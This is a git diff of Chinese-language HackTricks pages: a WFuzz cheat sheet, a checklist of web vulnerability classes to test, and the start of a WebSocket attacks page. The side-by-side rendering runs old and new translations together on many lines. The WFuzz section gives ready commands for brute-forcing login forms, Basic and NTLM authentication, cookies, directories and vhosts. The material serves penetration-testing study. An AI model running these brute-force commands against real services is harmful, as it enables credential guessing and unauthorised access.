学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Web工具 - WFuzz # Web Tool - WFuzz
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
一个用于在任何地方对Web应用程序进行FUZZ的工具。 一个可以在任何地方对 web 应用程序进行 FUZZ 的工具。
> [Wfuzz](https://github.com/xmendez/wfuzz)已经被创建出来以简化Web应用程序评估的任务它基于一个简单的概念它通过给定有效负载的值来替换对FUZZ关键字的任何引用 > [Wfuzz](https://github.com/xmendez/wfuzz) 的创建旨在简化 web 应用程序评估中的任务,基于一个简单的概念:它将 FUZZ 关键字的任何引用替换为给定有效负载的值
## 安装 ## 安装
在Kali中安装 Kali 中安装
Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz) Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
``` ```
@ -48,7 +49,7 @@ wfuzz -e printers #Prints the available output formats
wfuzz -e encoders #Prints the available encoders wfuzz -e encoders #Prints the available encoders
#Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode #Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode
``` ```
要使用编码器,您必须在**"-w"**或**"-z"**选项中指定它。 为了使用编码器,您必须在 **"-w"** 或 **"-z"** 选项中指明它。
示例: 示例:
```bash ```bash
@ -56,16 +57,16 @@ wfuzz -e encoders #Prints the available encoders
-w /path/to/file,base64 #Will use a list, and transform to base64 -w /path/to/file,base64 #Will use a list, and transform to base64
-z list,each-element-here,hexlify #Inline list and to hex before sending values -z list,each-element-here,hexlify #Inline list and to hex before sending values
``` ```
## 速查表 ## CheetSheet
### 登录表单暴力破解 ### 登录表单暴力破解
#### **POST列表,过滤字符串(隐藏)** #### **POST单列表过滤字符串隐藏**
```bash ```bash
wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by line #Here we have filtered by line
``` ```
#### **POST2个列表过滤代码显示** #### **POST, 2 列表, 过滤代码 (显示)**
```bash ```bash
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by code #Here we have filtered by code
@ -74,9 +75,9 @@ wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=F
```bash ```bash
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in" wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
``` ```
### 目录/RESTful暴力破解 ### 暴力破解目录/RESTful 暴力破解
[Arjun参数字典](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt) [Arjun 参数字典](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
``` ```
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
``` ```
@ -84,19 +85,19 @@ wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
```bash ```bash
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ' wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
``` ```
### 标题验证 ### Header Authentication
#### **基本2个列表过滤字符串显示代理** #### **基本2个列表过滤字符串显示代理**
```bash ```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php" wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
``` ```
#### **NTLM2个列表过滤字符串显示代理** #### **NTLM, 2个列表, 过滤字符串 (显示), 代理**
```bash ```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php" wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
``` ```
### Cookie/Header暴力破解vhost brute ### Cookie/Header bruteforce (vhost brute)
#### **Cookie过滤代码(显示),代理** #### **Cookie过滤代码显示代理**
```bash ```bash
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php" wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
``` ```
@ -110,7 +111,7 @@ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u
http://example.com -t 100 http://example.com -t 100
``` ```
### HTTP动词方法暴力破解 ### HTTP 动词(方法)暴力破解
#### **使用文件** #### **使用文件**
```bash ```bash
@ -125,20 +126,21 @@ $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
#Filter by whitelisting codes #Filter by whitelisting codes
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
``` ```
## 用于绕过网络安全的工具 ## 绕过Web的工具
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass) [https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)
{% hint style="success" %}
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
支持HackTricks的其他方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,64 +1,65 @@
# Web漏洞方法论 # Web Vulnerabilities Methodology
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
在每次Web渗透测试中都存在**一些隐藏和明显的可能存在漏洞的地方**。本文旨在作为一个检查清单,确认您已经在所有可能的地方搜索漏洞。 在每次 Web 渗透测试中,有 **几个隐藏和明显的地方可能存在漏洞**。这篇文章旨在作为一个检查清单,以确认您是否在所有可能的地方搜索了漏洞。
## 代理 ## 代理
{% hint style="info" %} {% hint style="info" %}
如今**Web应用程序**通常会**使用**某种形式的**中间代理**,这些代理可能会被(滥)用来利用漏洞。这些漏洞需要存在一个有漏洞的代理,但通常还需要后端存在一些额外的漏洞。 如今 **Web** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
{% endhint %} {% endhint %}
* [ ] [**滥用逐跳头**](../abusing-hop-by-hop-headers.md) * [ ] [**滥用 hop-by-hop 头部**](../abusing-hop-by-hop-headers.md)
* [ ] [**缓存毒/缓存欺骗**](../cache-deception.md) * [ ] [**缓存毒/缓存欺骗**](../cache-deception.md)
* [ ] [**HTTP请求走私**](../http-request-smuggling/) * [ ] [**HTTP 请求走私**](../http-request-smuggling/)
* [ ] [**H2C走私**](../h2c-smuggling.md) * [ ] [**H2C 走私**](../h2c-smuggling.md)
* [ ] [**服务器端包含/边缘端包含**](../server-side-inclusion-edge-side-inclusion-injection.md) * [ ] [**服务器端包含/边缘端包含**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**揭Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) * [ ] [**揭Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**XSLT服务器端注入**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) * [ ] [**XSLT 服务器端注入**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**代理/WAF保护绕过**](../proxy-waf-protections-bypass.md) * [ ] [**代理/WAF 保护绕过**](../proxy-waf-protections-bypass.md)
## **用户输入** ## **用户输入**
{% hint style="info" %} {% hint style="info" %}
大多数Web应用程序将允许用户输入一些稍后将被处理的数据。\ 大多数 Web 应用程序将 **允许用户输入一些数据以供后续处理。**\
根据服务器期望的数据结构,某些漏洞可能适用,而另一些可能不适用。 根据服务器期望的数据结构,某些漏洞可能适用不适用。
{% endhint %} {% endhint %}
### **反射值** ### **反射值**
如果输入的数据在响应中以某种方式反映出来,页面可能容易受到多种问题的影响。 如果输入的数据可能以某种方式反映在响应中,则页面可能会受到多种问题的影响。
* [ ] [**客户端模板注入**](../client-side-template-injection-csti.md) * [ ] [**客户端模板注入**](../client-side-template-injection-csti.md)
* [ ] [**命令注入**](../command-injection.md) * [ ] [**命令注入**](../command-injection.md)
* [ ] [**CRLF**](../crlf-0d-0a.md) * [ ] [**CRLF**](../crlf-0d-0a.md)
* [ ] [**悬标记**](../dangling-markup-html-scriptless-injection/) * [ ] [**悬标记**](../dangling-markup-html-scriptless-injection/)
* [ ] [**文件包含/路径遍历**](../file-inclusion/) * [ ] [**文件包含/路径遍历**](../file-inclusion/)
* [ ] [**开放重定向**](../open-redirect.md) * [ ] [**开放重定向**](../open-redirect.md)
* [ ] [**原型污染导致XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) * [ ] [**原型污染XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**服务器端包含/边缘端包含**](../server-side-inclusion-edge-side-inclusion-injection.md) * [ ] [**服务器端包含/边缘端包含**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**服务器端请求伪造**](../ssrf-server-side-request-forgery/) * [ ] [**服务器端请求伪造**](../ssrf-server-side-request-forgery/)
* [ ] [**服务器端模板注入**](../ssti-server-side-template-injection/) * [ ] [**服务器端模板注入**](../ssti-server-side-template-injection/)
* [ ] [**反向标签劫持**](../reverse-tab-nabbing.md) * [ ] [**反向标签劫持**](../reverse-tab-nabbing.md)
* [ ] [**XSLT服务器端注入**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) * [ ] [**XSLT 服务器端注入**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**XSS**](../xss-cross-site-scripting/) * [ ] [**XSS**](../xss-cross-site-scripting/)
* [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md) * [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](../xs-search.md) * [ ] [**XS-Search**](../xs-search.md)
其中一些漏洞需要特殊条件,其他只需要数据被反映。您可以在以下链接中找到一些有趣的多语言测试漏洞的示例 一些提到的漏洞需要特殊条件,其他的只需要内容被反射。您可以找到一些有趣的多语言工具来快速测试漏洞
{% content-ref url="../pocs-and-polygloths-cheatsheet/" %} {% content-ref url="../pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/) [pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/)
@ -66,90 +67,91 @@
### **搜索功能** ### **搜索功能**
如果功能可用于在后端搜索某种数据,也许您可以(滥)用它来搜索任意数据。 如果功能可用于在后端搜索某种数据,您可能可以(滥)用它来搜索任意数据。
* [ ] [**文件包含/路径遍历**](../file-inclusion/) * [ ] [**文件包含/路径遍历**](../file-inclusion/)
* [ ] [**NoSQL注入**](../nosql-injection.md) * [ ] [**NoSQL 注入**](../nosql-injection.md)
* [ ] [**LDAP注入**](../ldap-injection.md) * [ ] [**LDAP 注入**](../ldap-injection.md)
* [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md) * [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
* [ ] [**SQL注入**](../sql-injection/) * [ ] [**SQL 注入**](../sql-injection/)
* [ ] [**XPATH注入**](../xpath-injection.md) * [ ] [**XPATH 注入**](../xpath-injection.md)
### **表单、WebSockets和PostMsgs** ### **表单、WebSockets PostMsgs**
当WebSocket发布消息或表单允许用户执行操作时可能会出现漏洞。 WebSocket 发布消息或表单允许用户执行操作时,可能会出现漏洞。
* [ ] [**跨站请求伪造**](../csrf-cross-site-request-forgery.md) * [ ] [**跨站请求伪造**](../csrf-cross-site-request-forgery.md)
* [ ] [**跨站WebSocket劫持CSWSH**](../websocket-attacks.md) * [ ] [**跨站 WebSocket 劫持 (CSWSH)**](../websocket-attacks.md)
* [ ] [**PostMessage漏洞**](../postmessage-vulnerabilities/) * [ ] [**PostMessage 漏洞**](../postmessage-vulnerabilities/)
### **HTTP头** ### **HTTP **
根据Web服务器提供的HTTP头可能存在一些漏洞 根据 Web 服务器提供的 HTTP 某些漏洞可能存在。
* [ ] [**点击劫持**](../clickjacking.md) * [ ] [**点击劫持**](../clickjacking.md)
* [ ] [**内容安全策略绕过**](../content-security-policy-csp-bypass/) * [ ] [**内容安全策略绕过**](../content-security-policy-csp-bypass/)
* [ ] [**Cookie黑客**](../hacking-with-cookies/) * [ ] [**Cookies 黑客**](../hacking-with-cookies/)
* [ ] [**CORS - 配置错误和绕过**](../cors-bypass.md) * [ ] [**CORS - 错误配置与绕过**](../cors-bypass.md)
### **绕过** ### **绕过**
一些特定功能,可能需要一些有用的解决方法来绕过它们。 几个特定功能可能需要一些变通方法来绕过它们
* [ ] [**2FA/OTP绕过**](../2fa-bypass.md) * [ ] [**2FA/OTP 绕过**](../2fa-bypass.md)
* [ ] [**绕过支付流程**](../bypass-payment-process.md) * [ ] [**绕过支付流程**](../bypass-payment-process.md)
* [ ] [**验证码绕过**](../captcha-bypass.md) * [ ] [**验证码绕过**](../captcha-bypass.md)
* [ ] [**登录绕过**](../login-bypass/) * [ ] [**登录绕过**](../login-bypass/)
* [ ] [**竞争条件**](../race-condition.md) * [ ] [**竞争条件**](../race-condition.md)
* [ ] [**速率限制绕过**](../rate-limit-bypass.md) * [ ] [**速率限制绕过**](../rate-limit-bypass.md)
* [ ] [**重置忘记密码绕过**](../reset-password.md) * [ ] [**重置忘记密码绕过**](../reset-password.md)
* [ ] [**注册漏洞**](../registration-vulnerabilities.md) * [ ] [**注册漏洞**](../registration-vulnerabilities.md)
### **结构化对象/特定功能** ### **结构化对象/特定功能**
某些功能将需要**数据以非常特定的格式结构化**如语言序列化对象或XML。因此更容易确定应用程序是否可能存在漏洞,因为它需要处理这种类型的数据。\ 某些功能将要求 **数据以非常特定的格式进行结构化**(如语言序列化对象或 XML。因此更容易识别应用程序是否可能存在漏洞,因为它需要处理这种类型的数据。\
如果使用**特定格式的输入**(如电子邮件标题注入),某些**特定功能**也可能存在漏洞 某些 **特定功能** 也可能存在漏洞,如果使用 **特定格式的输入**(如电子邮件头注入)
* [ ] [**反序列化**](../deserialization/) * [ ] [**反序列化**](../deserialization/)
* [ ] [**电子邮件标题注入**](../email-injections.md) * [ ] [**电子邮件注入**](../email-injections.md)
* [ ] [**JWT漏洞**](../hacking-jwt-json-web-tokens.md) * [ ] [**JWT 漏洞**](../hacking-jwt-json-web-tokens.md)
* [ ] [**XML外部实体**](../xxe-xee-xml-external-entity.md) * [ ] [**XML 外部实体**](../xxe-xee-xml-external-entity.md)
### 文件 ### 文件
允许上传文件的功能可能容易受到多种问题的影响。\ 允许上传文件的功能可能受到多种问题的影响。\
生成包含用户输入的文件的功能可能执行意外代码。\ 生成包含用户输入的文件的功能可能执行意外代码。\
打开用户上传或包含用户输入的文件可能会导致用户受到威胁。 打开用户上传的文件自动生成的包含用户输入的文件的用户可能会受到威胁。
* [ ] [**文件上传**](../file-upload/) * [ ] [**文件上传**](../file-upload/)
* [ ] [**公式注入**](../formula-csv-doc-latex-ghostscript-injection.md) * [ ] [**公式注入**](../formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**PDF注入**](../xss-cross-site-scripting/pdf-injection.md) * [ ] [**PDF 注入**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**服务器端XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) * [ ] [**服务器端 XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **外部身份管理** ### **外部身份管理**
* [ ] [**OAUTH账号接管**](../oauth-to-account-takeover.md) * [ ] [**OAUTH 账户接管**](../oauth-to-account-takeover.md)
* [ ] [**SAML攻击**](../saml-attacks/) * [ ] [**SAML 攻击**](../saml-attacks/)
### **其他有用的漏洞** ### **其他有用的漏洞**
这些漏洞可能有助于利用其他漏洞。 这些漏洞可能有助于利用其他漏洞。
* [ ] [**域/子域接管**](../domain-subdomain-takeover.md) * [ ] [**域/子域接管**](../domain-subdomain-takeover.md)
* [ ] [**IDOR**](../idor.md) * [ ] [**IDOR**](../idor.md)
* [ ] [**参数污染**](../parameter-pollution.md) * [ ] [**参数污染**](../parameter-pollution.md)
* [ ] [**Unicode规范化漏洞**](../unicode-injection/) * [ ] [**Unicode 规范化漏洞**](../unicode-injection/)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# WebSocket 攻击 # WebSocket 攻击
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 什么是 WebSockets ## 什么是 WebSockets
